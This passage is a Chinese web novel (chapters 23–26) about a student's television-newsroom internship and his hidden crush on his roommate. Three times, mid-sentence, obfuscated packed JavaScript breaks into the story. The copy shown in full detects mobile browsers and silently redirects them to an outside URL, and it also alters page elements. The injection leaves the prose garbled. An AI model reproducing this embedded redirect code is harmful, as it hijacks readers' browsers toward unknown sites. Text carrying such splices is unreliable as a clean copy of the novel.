杨嘉树换好衣服,开心地去找顾琢成。 第二天,杨嘉树早早起床,坐地铁去电视台。早上他加了面试官的微信,面试官通过了,可是对于杨嘉树热情洋溢的招呼却没有回复。杨嘉树有点尴尬,心想可能干记者的都高冷吧。 他比约定时间提前十分钟到达,在微信里小心翼翼地跟面试官说:“老师,我到了,请问怎么上去?” 面试官的头像是一片青草地,正中央有一只吃草的羊,微信昵称叫“羊咩咩”。羊咩咩老师说:“等着。” 十分钟后,一个高瘦、长相很犀利的男人从电梯里出来,往大厅扫了一眼后,径直朝杨嘉树的方向走来。 杨嘉树心里一紧,这位就是羊咩咩老师? 很快,“羊咩咩”走近了,上下打量杨嘉树一眼,面无表情地说:“杨嘉树?” 杨嘉树紧张得手都不知道往哪放:“是的,老师。” 他的面容青涩,眼神茫然,举手投足间散发出大学生独有的天真稚嫩。面试官朝他点一点头,转身示意他跟上。 电梯里只有他们两个人,杨嘉树无意间瞥见面试官的工作证,姓名那一栏写着“张扬”,跟“羊咩咩”还是有一点关系的。 张扬把他带到一间休息室,让他先在沙发上坐下。 杨嘉树乖乖地在沙发上坐好,双腿并拢,手放在膝盖上,眼睛都不敢到处乱看。 没一会儿,张扬端着一杯水过来,杨嘉树受宠若惊,连忙伸手去接。 但张扬那水不是给他接的,而是给自己接的,喝口水润一润喉,他拿起桌上的简历,问杨嘉树:“中文系的?为什么想来做记者?” 杨嘉树尴尬地收回双手,脸颊微微发红:“因为正好有这个面试的机会。” 张扬翻简历的手顿了顿,看上去有点无语。 杨嘉树意识到自己说错话,可是,这是实话呀,他不是个会撒谎的人。张扬还在翻看他的简历,杨嘉树怕失去这个机会,于是又补充道:“我有提前了解过记者这个行业,他们是真实社会的记录者和揭露者,是大众了解事实真相的桥梁,我觉得这个职业很酷,挺、挺让我向往的。” “哦。”张扬对这个回答无动于衷,面无表情地继续问,“那你觉得干记者需要哪些条件?” 这个杨嘉树有准备过,信心满满地说了一大堆,什么专业知识呀、责任心和道德感呀,说到最后张扬都有些不耐烦了,打断他:“这稿子是你自己写的?” 杨嘉树探头看了一眼,说:“是的老师,这个是我们应用写作课的作业。” 张扬一目十行地看完,还是没有表露出明显的欣赏或不欣赏,合上稿件,他说:“行了,回去等消息吧。” “……”杨嘉树站起来,对着张扬鞠了一躬,“谢谢老师给我面试的机会,我等您答复。” “嗯。”张扬翘着二郎腿,动也没动,“知道怎么下去吧?原路返回。” “好的。”出门前,杨嘉树恭敬地说,“老师再见。” 出了电视台大门,杨嘉树特别沮丧地给顾琢成打电话:“我面试可能挂了,那个老师对我不满意。” 顾琢成说:“出结果了吗?” “没有。”杨嘉树的嘴巴撅得老高,后悔自己没有表现得更主动一点,“他只问了我三个问题,就让我回去了。” “结果还没出,不要妄自菲薄。”顾琢成安慰他,“回来了?” “嗯,我现在去坐地铁。” 路上他和顾琢成聊微信,顾琢成过两天就要去上游实习了,实习期间他会先住在小姨家,那里离公司近,小姨夫上班的时候还能顺路载他去公司。杨嘉树羡慕又惆怅地说:“如果我面试通过,是不是也要租个房子住?学校离电视台还挺远的,上班不方便。” 顾琢成说:“一定会通过的。握拳/。” 杨嘉树忍不住抿起嘴,笑了。 这种感觉好神奇,好像他和顾琢成一下子就脱离象牙塔,成为一名即将迈向社会的“新新人类”,他忽然想到,假如他和顾琢成都决定留在北京发展,是不是可以一起租个房子,继续做室友?想着,他的心砰砰跳,迫不及待地和顾琢成商量这个方案的可行性,顾琢成给他泼了盆冷水:“你实习单位在南,我实习单位在北,隔着十万八千里,你确定要一起住?恐怕每天上班都会迟到。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨嘉树连忙说:“不用不用,爸你不知道北京现在有多堵,而且还限号,开车还不如坐地铁方便呢!行了爸,我明天上班,就不跟你多说了,收拾下东西。” 挂完电话,杨嘉树起床,拎出自己的行李箱,开始收拾东西。寝室只有他一个,何永平和赵靖回家了,顾琢成好像是去辅导学弟学编程去了……说起这个,杨嘉树总觉得找顾琢成的那个学弟有点不太对劲,但又觉得自己是不是太敏感,因为自己是gay,就怀疑所有企图靠近顾琢成的男人都是gay,这世上哪那么多深柜呢。 手机叮咚一声响,杨嘉树拿起来一看,给他爸打电话:“爸,你怎么一下给我打五万块?我用不了这么多。” “没事!别委屈自己,订房间就订好一点的,问问酒店有没有小食堂,给你把三餐包了……五万是不是有点不够?我再给你打点,多买几件厚衣服……” 杨嘉树又收到五万块,好么,今晚一下进账十万,世上还有比“儿子”更好的职业吗?他愿意做一辈子,希望他爸的事业蒸蒸日上、做大做强,再赚多一点给儿子挥霍。 收拾差不多了,杨嘉树打开订房软件,在电视台附近定了间行政套房,由于不确定过年放不放假,他只订到腊月二十八,然后给前台打电话说要安静一点的,不要临街,房子的事就搞定了。 目光一转,杨嘉树瞥到置物架上的金钱橘,本以为脆弱的小家伙居然还越长越壮硕,去年放暑假的时候杨嘉树怕它一棵树在宿舍会死,就一路把它带回了广东,开学的时候再带过来,如此折腾居然丝毫没影响它的长势,这不,现在枝头还挂着好几粒金灿灿的果实呢。 杨嘉树摘下一个,拿去洗一洗,咬开,是酸的,酸倒牙,他龇牙咧嘴,把剩下的果子丢进垃圾桶。看来这种观赏植物真的就只能观赏,不能品尝。 手机又响,杨嘉树拿出来,这回是顾琢成,问他去不去吃宵夜,明天两人就都正式开始实习了,要好好庆祝一下。 杨嘉树站在橘子树前傻笑,只要一和顾琢成说话他就想笑,好像顾琢成手里掌握了一台“杨嘉树快乐”开关,摁下,杨嘉树就会笑个不停,“好啊,在哪里?” 他穿上羽绒服,前去赴约。 24. 第 24 章 第二天,杨嘉树提了个行李箱去电视台报道,手里还抱着一盆金钱橘。 这幅装扮着实怪异,一路上好多人盯着杨嘉树看,给杨嘉树看得都不好意思了。 来接他的还是张扬,其实,这是个细看挺帅气的男人,就是有点邋遢……对上那犀利的目光,杨嘉树心虚地转开眼睛,他应该不知道我在想什么吧? “怎么回事?”电梯里,张扬用下巴点了点杨嘉树的行李箱,目光落在他手里的金钱橘上。 “噢,”杨嘉树有点不好意思把行李箱往自己这边收了收,“我在附近租了个房子,临时租的,打算下班搬过去……张老师,有地方可以放下我的行李吗?” “你就坐这。”张扬指着一个靠窗的位置,说,“行李箱随便放。先去人事部领个工牌,完了回来找我。” “好的,张老师。”杨嘉树放下金钱橘,往门口走,走到一半又折回来,“那个,人事部在哪?” 张扬拨弄了两下金钱橘树上的果子,说:“16楼。” 领完工牌回来,杨嘉树还没来得及坐下,张扬拎起自己的包就叫他:“走吧。”然后大步往门口走。 “啊?哦。”杨嘉树愣了下,快步跟上去。 坐电梯到负一楼,一辆贴着电视台台标的小轿车在通道口等他们,杨嘉树很自觉地替张扬拉开后座的车门:“张老师……” “碰”地一声响,杨嘉树回头一看,张扬已经拉开副驾的门坐了进去,关门的时候力度之大,车厢都在左右摇晃。 “……”杨嘉树默默上了汽车后座。 张扬一边系安全带一边说:“这我们摄像,鹏哥。这新来的实习生,叫……你叫什么来着?” 杨嘉树连忙说:“我叫杨嘉树,鹏哥你好。” “你好。”鹏哥说,一踩油门,车子很快驶出地下室。 看起来像是要出现场,杨嘉树很兴奋,看着两侧慢吞吞掠过的车流,第一次对未来有了真切的畅想。 鹏哥开车很稳,鱼一样在早高峰的海洋中游动,车里没人说话,杨嘉树躲在后座给顾琢成发微信:“刚来就跑现场了,好激动!”顾琢成没回他,杨嘉树自顾自地发,“不知道要去哪采访,我也没敢问。好像在往丰台开……你看我的工作牌,嘿嘿。” 杨嘉树像颗春天里刚破土而出的小树苗,迫不及待探索这个未知的精彩世界。 很快,目的地到了,某某街道老年人活动中心,鹏哥把车停在不远处的地面停车场上,一下车就有几个社区的工作人员过来迎接,带头的是个四五十岁的大姐,模样很庄重,胸前别着一枚党徽,按个跟杨嘉树他们握手。 一会儿的功夫,鹏哥已经把摄像机架好,开始拍活动中心的外景,杨嘉树赶紧过去看有没有什么要帮忙的,鹏哥就一边拍一边教杨嘉树怎么使用摄像机。采访是张扬老师的工作,摄像机跟着他,一路从活动中心的大厅开始拍摄,到棋牌室、舞蹈室、阅读室,乒乓球室……每个房间都有在活动的老年人,最后采访的时候,杨嘉树在一旁负责给受访的老年人代表提词,忙到十二点多,社区给安排午饭,杨嘉树吃饭的时候,发现顾琢成回复了他的消息,很简短:“加油。/握拳。我也在工作,下班了聊。” 杨嘉树咧开嘴笑了笑,郑重地说:“加油。” 吃完饭赶下一场采访,杨嘉树全程在看张扬老师怎么工作,因为张扬告诉他:“口头教是教不会的,你就看我怎么做,明天开始你自己做。” 杨嘉树吓了一跳,说:“我自己做……是怎么做啊?” 张扬没什么耐心,说:“明天你就知道了。” 跑完现场,三四点的时候赶回电视台,张扬老师又马不停蹄带杨嘉树去剪片子,写新闻稿,张扬老师干活很利落,杨嘉树眼睛一眨也不眨地盯着他看,生怕遗漏什么细节,毕竟第二天他就要自己上手去做了。 七点半忙完收工,杨嘉树拎着行李箱打车回酒店。 一进门,杨嘉树就瘫倒在沙发上,很累……但是也很充实。吃完饭他和顾琢成通电话,分享了一些工作当中的趣事。顾琢成那边没什么好说的,同事都是实干派,一味地埋头工作,根本不会闲聊;杨嘉树那边就精彩多了:“你知道吗,我今天上午采访的时候遇到一个特别好玩的爷爷……非要拉着我去打乒乓球,我看张老师跟我们摄像老师都在各忙各的,没人关注我,我就悄悄跟爷爷说,就打一个球,老师发现了要骂我的。然后老爷爷让另一个老爷爷把张老师支走了,我就陪他们打了一会儿球……” “赢了?”电话那头的顾琢成边听边笑。 “没有!”杨嘉树哈哈大笑,“我哪会打乒乓球啊!球直着飞出去,砸到老爷爷脸上,老爷爷说,小伙子,你小时候没学过打乒乓球啊?我说没有,老爷爷就说我们学校教育态度不端正,乒乓球,那可是国球,居然没传承给下一代!我说,爷爷,有教的,是我没好好学。老爷爷就过来,手把手教我怎么正确发球,我学了一会儿,感觉学会了,就让老爷爷过去,我俩试着打一盘……然后这时候正好我们张老师采访完从隔壁过来,我一紧张,拍子没握稳,直接飞了出去……” “砸到老爷爷了?”顾琢成听得津津有味,插嘴问。 “没有!就差一点,老爷爷吓懵了,说好家伙,还好我闪得快,跟你打球还得会功夫……” 两个人在电话里笑作一团,笑完,顾琢成问他:“你好像挺喜欢这份工作?毕业想去当记者吗。” 杨嘉树犹豫起来:“我也不知道……今天才是我第一天工作呢。” “不过你挺适合当记者的。”顾琢成说,“长得好,有亲和力,我要是在大街上碰到像你这样的记者来采访我,肯定不会拒绝。” “……”杨嘉树听见这话,心里乐开了花,他在被窝里滚了一圈,扭捏地问,“我长得好看吗?真的假的。” “当然了。”顾琢成配合地说,“怀疑什么都不能怀疑杨嘉树的美貌。” “还美貌……”杨嘉树嗔道,“你嘴好甜啊,晚上吃了蜂蜜?” “差不多吧,拔丝地瓜。” “谁做的?你小姨?”杨嘉树惊叹,“好厉害。” “没有,我小姨不会做饭,是阿姨做的。” …… 就这么聊了一会儿,好像根本没聊什么,时间就过去30分钟,两人相约休息的时候去练习打乒乓球,然后就挂了。 挂完电话,杨嘉树不由畅想起以后的生活:不出意外,他们两个毕业后都会留在北京发展,顾琢成在IT行业深耕,他自己呢……大概会成为一名新闻记者吧,专业的。 很多很多年后,顾琢成成为行业翘楚,接受新闻界传奇记者杨嘉树的采访,两人在采访结束后相约一起去吃饭,就吃学校南门口的北京老火锅……多好啊,一切和上学时一样。 想着想着,杨嘉树睡着了,并做了一个跟顾琢成有关的美梦。 ——那么,有了对未来的具体的想象之后,杨嘉树真的会朝着那个方向努力吗?成为一名专业的、优秀的、人人称羡的新闻记者。 倒也不见得。 一个月的实习期虽然短,可是像打仗一样。杨嘉树才发现当记者并没有他想象的那么简单。临近过年,台领导下达任务,让他们在选题方面要创新一点,强调和群众的互动——领导的原话是:“不要总是我们自嗨,要让人民群众跟着嗨起来,要看到他们发自真心的笑容……”然后栏目组就开始每天拉人开选题会,发任务,下死命令……其他人还好,张扬老师很糟心,因为他不仅要完成自己的工作,还得带实习生,每天看见杨嘉树的第一反应就是皱眉—— 在这样的压力下,杨嘉树也过得如履薄冰。他会犯一些只有实习生才会犯的,愚蠢的错误。年底人手紧张,张扬经常一个人去出采访任务——哦不,还有一个帮手,不过约等于没有。杨嘉树一直觉得张扬老师的眼神特别犀利,光是轻轻地看他一眼都令他毛骨悚然。有次他们去三元桥采访过年仍然坚守在一线岗位的交警同志,杨嘉树回去剪片子的时候才发现同期声好像出故障了,后半段采访完全没声音,当下杨嘉树的心就凉了,慌慌张张地去找张扬老师,老师正在改杨嘉树的新闻稿,听他说完,淡淡地反问他:“那你说怎么办?” 杨嘉树哭丧着脸说:“老师,我去找今天受访的交警同志,请他配合我们补录一下——” “人家凭什么配合你?” 杨嘉树做好了软磨硬泡的准备,实在不行就跪下求别人(……虽然跪不跪另说,但他有一瞬间真的这么想过)。 张扬老师听完杨嘉树的N个解决办法,给了他一个“你还嫩”的眼神,然后从兜里掏出一个东西:“我就知道你们这些实习生不靠谱,所以每次采访都带了录音笔……给,从这里把采访音频拷出来,然后接上去。” 杨嘉树目瞪口呆:“张老师,你想的真周全啊!” 从张扬老师的身上,杨嘉树看见一个专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495759|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业记者应该具备的品质:过硬的专业能力,超强的心理素质,以及对新闻行业的无私热爱。是的,虽然张扬老师身上时常会散发出被工作折磨的颓丧和无力,但每次在采访结束后都能从他脸上看见不易察觉的满足和成就感——杨嘉树不禁问自己,我能做到张扬老师这样吗?这还只是生活频道的记者,要是新闻频道呢,更严谨、更专业、更考验心态……想到这,杨嘉树又退缩了。 还是先把实习干好吧。工作又苦又累,唯一开心的可能就是在休息时间和顾琢成的“约会”了吧。有时候杨嘉树下班比较早,会和顾琢成打一会儿电话,这样一天的疲惫、压力彷佛就会随着他俩的畅聊而消失……杨嘉树得以睡一个好觉。 让杨嘉树印象比较深刻的是有一次,他在小年夜的时候跟张扬老师一块儿去采访孤寡老人,张扬老师感冒了,总流鼻涕,还时不时打喷嚏,这样挺耽误采访进程的,于是老师把话筒往杨嘉树手里一塞,说:“你来吧!” “啊?”杨嘉树愣住了,“我采访?是、是要入境吗……” “昂。”张扬接过摄像机,顺手用手里的纸巾擤了一下鼻涕,“你随便问,我刚怎么问的你就怎么问,自己也可以随意发挥。” 于是杨嘉树有了此生第一次正式入镜的经验。第二天他休息,约顾琢成来酒店房间找他,见证这个“伟大的时刻”。 两人点了好些烧烤零食,还有啤酒,蹲守在电视机前等待杨嘉树的出境。 杨嘉树心里特别紧张,那几天天气不好,他穿得很厚,一直戴着羽绒服帽子,头发有点压塌了,不知道上镜会不会很难看…… 正想着,他就在电视上看见了自己,跟他想的一样,由于他一直戴着帽子,头发是扁的,还只扁一边,导致他头的形状看上去特别奇怪…… “哇。”这时顾琢成指着电视里的杨嘉树,说,“你好上镜,怎么在电视里看你这么好看。” “啊?”杨嘉树愣了愣,“真的假的?” “真的。”顾琢成说。 电视里,杨嘉树明显有点紧张,拿着话筒的手都在颤抖,他问孤寡老人这个冬天有没有感觉到来自社区、热心邻居、社会各界爱心人士的关怀——一句话让他说得磕磕绊绊,好像生锈的机器一样“咔滋咔滋”乱响……杨嘉树感觉无地自容,拿过话筒就说要换台,“好尴尬啊,看不下去了。” “挺好的啊!”顾琢成的脸盯着电视画面,这天杨嘉树穿了一件白色的羽绒服,帽子上有一圈雪白的毛领,他的脸就在毛毛领的正中央,特别标致,唇红齿白、面若桃花……应该是冻的。其实,杨嘉树现实中也长这样子吧,只不过电视特写放大了他的脸,就让人把注意力光集中在他的脸上去了……顾琢成回过头,杨嘉树正好在低头吃烤串,他的吃相十分斯文,咬着一小块肉认真地把它撕下来,然后手里拿着串,一边细嚼慢咽一边看电视,房间没开灯,电视里的光投到杨嘉树的脸上,忽明忽暗,顾琢成忽然觉得杨嘉树吃东西的样子有点像仓鼠,脸颊一鼓一鼓的,让人很想上手——看看是什么感觉。 “看我干什么?”杨嘉树察觉到脸上停留的视线——来自顾琢成的,于是他停下咀嚼的动作,疑惑地问顾琢成,“我脸上有东西?” “有,烧烤油。”顾琢成抽了张抽纸,假意去擦拭杨嘉树脸上的污迹,实则偷偷隔着纸巾捏他的脸颊肉—— 是软的,有点弹手,跟想象中一模一样。他丢掉纸巾,满意地把视线转回电视屏幕上。 采访还在继续,最后孤寡老人们围坐在一起吃志愿者们包的饺子,杨嘉树出现在画面里,问他们:“饺子好不好吃呀。”语气就跟幼儿园老师问班里小朋友午饭合不合胃口一样。 老人们都说好吃,一个坐轮椅的老奶奶夹了一只饺子,叫杨嘉树:“小记者,你也来尝尝。” 杨嘉树蹲下来,很自然地接受了老奶奶的投喂。他蹲着,摄像机从上往下拍,这个角度看他鼓起来的脸颊更像仓鼠了,因为白,乌黑的长睫毛也很明显…… 杨嘉树指着屏幕,高兴地说:“你快看!本台实习记者——杨嘉树,哈哈,我这个实习记者当得怎么样,还可以吧?” 看着他兴奋的样子,顾琢成也忍不住笑了:“可以,很优秀,期待在未来你可以把‘实习’这两个字去掉,成为一名真正的记者。” “嗯……那我努力吧。” 看来要认真考虑未来的职业选择了,似乎当记者……也不错。杨嘉树愉快地想。 25. 第 25 章 下学期开学之后,大学生活彷佛被按下了快进键,因为除了完成本科学业,每个人都开始忧虑未来的选择——是继续深造,还是投入社会参加工作?是考公务员、考事业编,还是去卷央企、国企名额,抑或另辟出路,加入大学生创业热潮?其实,没有具体的答案,所有人都在蒙着眼睛往那个叫“前程”的湖里投石子,哪颗石子的回声比较大,可能就决定了他未来的选择…… 聊天群开始被各种考研、考公、就业信息填满,大家也不再不分昼夜地聊八卦、玩游戏、或者是无意义地消磨时间,而是认真思考自己未来该何去何从,似乎大家在一夜之间长大、变成一个半只脚踏进社会的,真正的成年人。 在这样的环境熏陶下,连杨嘉树都变得紧张起来,照理说他不该担忧自己的未来,因为他家有钱,足够负担他下半辈子的生活——可是话又说回来,世事多变,没有一个富豪能保证自己的财产永不缩水,经济状况永不拮据——况且,杨嘉树并不想当一个混吃等死、无所事事的富二代,他想要自己的人生过得更有意义一点。 那什么才是有意义,杨嘉树又思考,继续深造?一路读到博士,然后从事学术研究……但这不是杨嘉树想要的,他不喜欢学习,甚至非常、非常讨厌,这种违背自己内心意愿的选择他再也不要做了。 思来想去,杨嘉树还是决定,成为一名记者,这似乎是他目前唯一一条堪称正确的道路,且是他喜欢的。 下定决心后,杨嘉树首先把这个消息分享给了最好的朋友,顾琢成,此时顾琢成正在万里之外的西班牙马德里参加国际大学生编程比赛。夜晚,杨嘉树熟睡的时候,顾琢成回复消息,说:“我相信你未来会是一名优秀的新闻记者,加油!”与此同时,他也带来了自己的好消息,“比赛结束了,冠军。酷/。” 第二天杨嘉树醒来时,非常惊喜,但对顾琢成拿冠军这件事一点也不惊讶,似乎顾琢成这趟就是为着冠军去的,他志在必得,而杨嘉树对此深信不疑。 等顾琢成从西班牙回来时,学期已经过了一半,飞机上午十点落地首都机场,上午杨嘉树有课,很重要的专业课,翘不了,两人约好杨嘉树下课了在宿舍见。 等杨嘉树抱着课本飞奔回宿舍时,发现小小的宿舍被一群不认识的同学围满了,他们都是来看顾琢成的,看看这个代表学校在国际大赛中拿下冠军的传奇人物——杨嘉树拨开人群,费力地往里钻:“让让、让让,让我进去好吗?” 他心中有一种迫切的情绪,让他顾不上人群中传来的、对他粗鲁动作的谴责,他一心只想见到顾琢成—— 最后一堵人墙被推开,杨嘉树就这么猝不及防站到顾琢成的面前。 他的惊喜掩盖不住,双眼紧紧黏在顾琢成的脸上:“你,你回来了!” 顾琢成微微低头,看着杨嘉树笑:“回来了。好久不见,想我了吗?” 杨嘉树的心又不争气地开始砰砰直跳——什么想不想的,肉不肉麻呀,“我放下东西。”他转身,寻找自己的书桌,可通红的双颊掩盖不了他此刻的紧张、还有羞赧。 身后,顾琢成在“驱逐”那些来凑热闹的同学们:“大家的祝福我都收到了,现在可以散了吗,我室友回来了,会影响他休息……” 很快,人走光了,杨嘉树转过身,语带羡慕地对顾琢成说:“你今天好风光啊。” 顾琢成关好门,走回来:“风光什么,我现在很累,只想好好睡一觉。” 杨嘉树仔细看着他的脸,确实,很疲惫,眼下的黑眼圈都出来了,要知道,顾琢成以前的作息规律、睡眠健康,是从来不会出现黑眼圈、眼袋这种东西的,他不由有些心疼,“那你要先休息会儿吗?我下午还有课,等下吃完饭就直接去教室了。” “不了。”顾琢成摇头,“晚上再睡,正好倒倒时差——你好像有点不一样。” 他说这话的时候眼睛一直盯着杨嘉树看,看得杨嘉树怪紧张的,下意识摸自己的脸,“哪里不一样?” 顾琢成“嘶”了一声,做思考状:“想起不来——你染头发了?” “?”杨嘉树很惊讶,“这你都能看出来?” “能啊。”顾琢成打了个响指,庆祝自己刚刚猜对了,“你脸白,头发换个颜色很明显的——这个造型不错,适合你。” “……”杨嘉树一阵暗喜,嘴角的笑怎么压都压不下来,“你不睡觉,那要先去吃饭吗,去吃食堂?” “嗯。”顾琢成说,“我先去洗个澡。” 顾琢成洗澡的功夫,杨嘉树也抽空换了身衣服,他最近喜欢简约风,浅蓝色棉布衬衫+白T,下半身是深蓝色破洞牛仔裤和白色板鞋,看上去特别清爽。 顾琢成还没出来,杨嘉树就对着镜子整理了下自己的仪容,然后偷偷喷了点香水,喷在脖子后面,不凑近应该不太能闻出来。 很快,顾琢成出来了:“嘉树,吹风机放哪里了?借我用用。” 杨嘉树转过身,愣住了。 顾琢成就穿了件短裤,上半身赤裸,头发湿哒哒地往下滴水,水顺着脖颈、胸膛流下来,把短裤也弄湿了—— “轰”地一声,杨嘉树的大脑深处响起一枚炸弹,他呆立在原地,感觉鼻子有点发痒。 顾琢成用脖子上搭着的毛巾撸了一把湿漉漉的短发,疑惑地看着杨嘉树:“?吹风机在哪里?” “哦!”杨嘉树慌张转身,无头苍蝇一样在寝室里乱转,“我找找……我早上才刚用过,放哪里了,好像在这里……哦不对,应该在抽屉……” 顾琢成坐在凳子上,拿起桌上的手机,回复微信消息。 五分钟过去,杨嘉树终于找到吹风机,远远地,递给顾琢成,“那个,你把衣服穿上呗。” 顾琢成站起来,高大的身形存在感十足,“我先把头发吹干。” 杨嘉树背过身,本来想着非礼勿视的,可是面前刚好有一面镜子,于是他的眼睛便从镜子里穿过去,贪婪地在顾琢成宽阔的肩背、健美的腰身上停留,心中好像有一团火,烧得他口干舌燥、蠢蠢欲动…… 五分钟像一辈子那样漫长,杨嘉树甚至感觉他再不穿衣服,自己就要也冲进浴室洗个澡——冷水澡,找什么借口比较好呢,杨嘉树满头大汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……哦。”杨嘉树心情复杂地解开项链,试图给自己戴上——失败了,他用求助的目光看向顾琢成。 顾琢成绕到他背后,帮他把项链扣好,再转回来。 “好看。”他评价,但是对杨嘉树来说有点廉价了,毕竟杨嘉树是个富二代,不会戴一万块以下的首饰。 ——但是,纪念意义大过展示意义,杨嘉树应该不会介意。 果然,杨嘉树低下头,看了看胸前小巧精致的奖杯,说:“还挺适合我的,谢谢,我会好好保存的。” 顾琢成看着杨嘉树认真又难掩感动的笑脸,不知道是出于什么心理,在他脑袋上轻轻揉了揉,“走吧,去吃饭。饿了吧。” 杨嘉树呆了呆,盯着顾琢成刚刚在自己头顶上做乱的手:“……男人的头不可以随便乱摸,你不知道?” “不知道。”顾琢成笑了,“摸了会怎样?” 杨嘉树憋红了脸,才憋出一句:“会长不高。” “你都这个岁数了,还会长个子啊?” “……也许呢。” “那我祝愿你。”顾琢成说,“等下路过超市的时候给你买瓶牛奶,补补钙。” “……你不会在嘲笑我吧?” “你说呢。” “……” 26. 第 26 章 顾琢成成了学校的名人。 走到哪都有人谈论他,其实,学校出个国际比赛的冠军没什么稀奇的,各学院冠军一抓一大把,可——顾琢成长得帅啊,一个天才和一个长得帅的天才,哪个更容易博得关注,可想而知。 宿舍开始被一些看热闹的吃瓜群众包围,每天都有人敲门进来找顾琢成,找他的理由千奇百怪,有求签名、求合照的,有请教他编程问题的,还有什么都不干,就想来看看天才长什么样子的——更有甚者,来找顾琢成表白的。 那天宿舍几个人都在,一个腼腆的小帅哥敲门进来,扭扭捏捏地对顾琢成说:“那个,顾琢成,这是我给你写的情、情书,我喜欢你,你愿意跟我交朋友吗?” 本来还在看热闹的几个人登时下巴全掉了下来,齐刷刷地看着顾琢成,看他是什么反应。 顾琢成没接那封粉色封皮的“情书”,礼貌地对小帅哥说:“抱歉,我跟你不是一类的。” 小帅哥眼中的光芒一下子熄灭了,所有人都能看出来,他在强颜欢笑:“没关系,那我祝你幸福,打扰了。”遗憾退场。 门一关,赵靖立马捂着胸口说:“好家伙,我还是第一见到活的基佬!顾琢成,你魅力可真大啊!” 何永平皱着眉,作鄙视状:“真恶心,这年头同性恋都这么不避讳人了吗,我们是不是应该喷点消毒喷雾,听说同性恋都玩得很花。” 这话可真够讨厌的。杨嘉树没忍住,说:“人家同性恋怎么你了,偏见这么大。” 何永平看了眼杨嘉树,不怀好意地说:“干嘛,他是你的同类啊,这么维护他。” 眼看着要吵起来,赵靖赶紧拉着何永平往外走,“走走走,去吃饭,你俩自己去啊,我跟老何去二食堂吃卤粉去了!”到走廊外面才劝何永平,“你干嘛老惹杨嘉树啊,把他惹急了可不好哄,咱不能让宿舍氛围和谐一点吗?” 何永平哼了一声,说:“你不觉得杨嘉树gaygay的吗,天天打扮得跟个花姑娘似的,我看他搞不好真是个基佬。” 赵靖哈哈笑了两声:“怎么可能?杨嘉树就是爱打扮了一点,你是不是不知道他每天其实偷偷看美女视频啊?也是,你跟他不熟,不清楚他的本性……” 宿舍里,杨嘉树让何永平恶心得够呛,沉默地收拾桌面卫生,其实心里早把何永平当成小人扎了一千多针。 顾琢成走过来,碰了碰他的肩膀:“生气了?” “没有。”杨嘉树说。 这声音就不像没生气的样子。顾琢成弯下腰,歪着头看杨嘉树的脸:“真没有啊?” “没有。”杨嘉树气鼓鼓地说。 “他就这样。”顾琢成说,“没什么素质,你不要跟他一般见识。” 这话杨嘉树赞同,“你也知道他没素质啊,那你们还跟他玩,还玩得这么好,干什么都叫上他。”杨嘉树说到这里其实有点委屈,忍不住控诉道,“他天天欺负我,对我阴阳怪气,看不惯我这个看不惯我那个——我就搞不懂了,你跟赵靖为什么好像没看见一样,还跟他那么好,你们到底有没有拿我当朋友?” 顾琢成沉默了。 杨嘉树说完,垂下头兀自生闷气。 其实——他清楚自己只是在拿这件事当借口,迁怒顾琢成,其实他生气的不是这件事,而是——有人给顾琢成递情书表白这件事,这个人还是个男的。 杨嘉树既羡慕他,又嫉妒他,羡慕他可以不顾世俗的眼光,勇敢地向喜欢的人表达爱意;嫉妒,是嫉妒他向顾琢成传递的感情不是友情,而是爱情。 ——任何人都可以说TA喜欢顾琢成,可是,他们喜欢顾琢成,有我喜欢他的百分之一吗?凭什么就可以光明正大地说喜欢他。 杨嘉树这样想,随后深深地唾弃自己,一百分的喜欢,说不出口,又有什么用? “别生气了。”顾琢成搬了个凳子坐在他身边,犹豫了一会儿,说,“都是一个宿舍的,没必要把关系搞得太僵……” “那你去跟他玩去,不要跟我玩了。”杨嘉树忍不住呛他,“还是你想跟所有人搞好关系,做一个八面玲珑、左右逢源的假面人?” “……”顾琢成说,“我不是这个意思。” “那你是什么意思?” “我是说可以大度一点,不要跟没素质的人一般见识。” “所以你的意思是我小气?” “……”顾琢成想起上一次跟杨嘉树吵架,不知道怎么回事,就说了句:“有一点。” “……”杨嘉树的大脑“嗡”地一声,气得头晕眼花,“我小气?所以有人骂我,针对我,我不仅不能反击,还得大度一点,不跟他一般见识?凭什么啊?” “凭你气量大,宰相肚里能撑船。”顾琢成见他好像又要生气了,连忙安抚道,“那你还能跟他打起来?我们现在才大三,未来还要在一起住一年,闹得太僵以后住得也不开心,何必呢。” 杨嘉树感觉再聊下去自己真的要被气死了,所以站起来就走,走两步越想越气,回头对顾琢成说:“你不去学生会当主席真是可惜了,有你在学校就是一个大型的‘和谐社会’!” “砰”得一声,门从外面被摔上,宿舍里只剩下顾琢成一个人。 “……”顾琢成挠挠头,心想,真的是我太过分了吗? 杨嘉树又一连好几天没理顾琢成,任凭顾琢成怎么道歉都无动于衷,赵靖看在眼里,悄摸跟顾琢成说:“你说你这是何必,不管他说什么你顺着他说就行了,现在好了,搬起石头砸自己的脚了吧。” 顾琢成有苦难言,其实他也不是偏向何永平,是真的觉得没必要跟这种人生气,气了也是折磨自己,何必呢。况且每次何永平“欺负”完杨嘉树,他都有私下找过何永平,让他不要这样子对杨嘉树——只是杨嘉树不知道而已,顾琢成也觉得没必要说,谁知道这次杨嘉树这么介意,看样子都快把自己气死了。 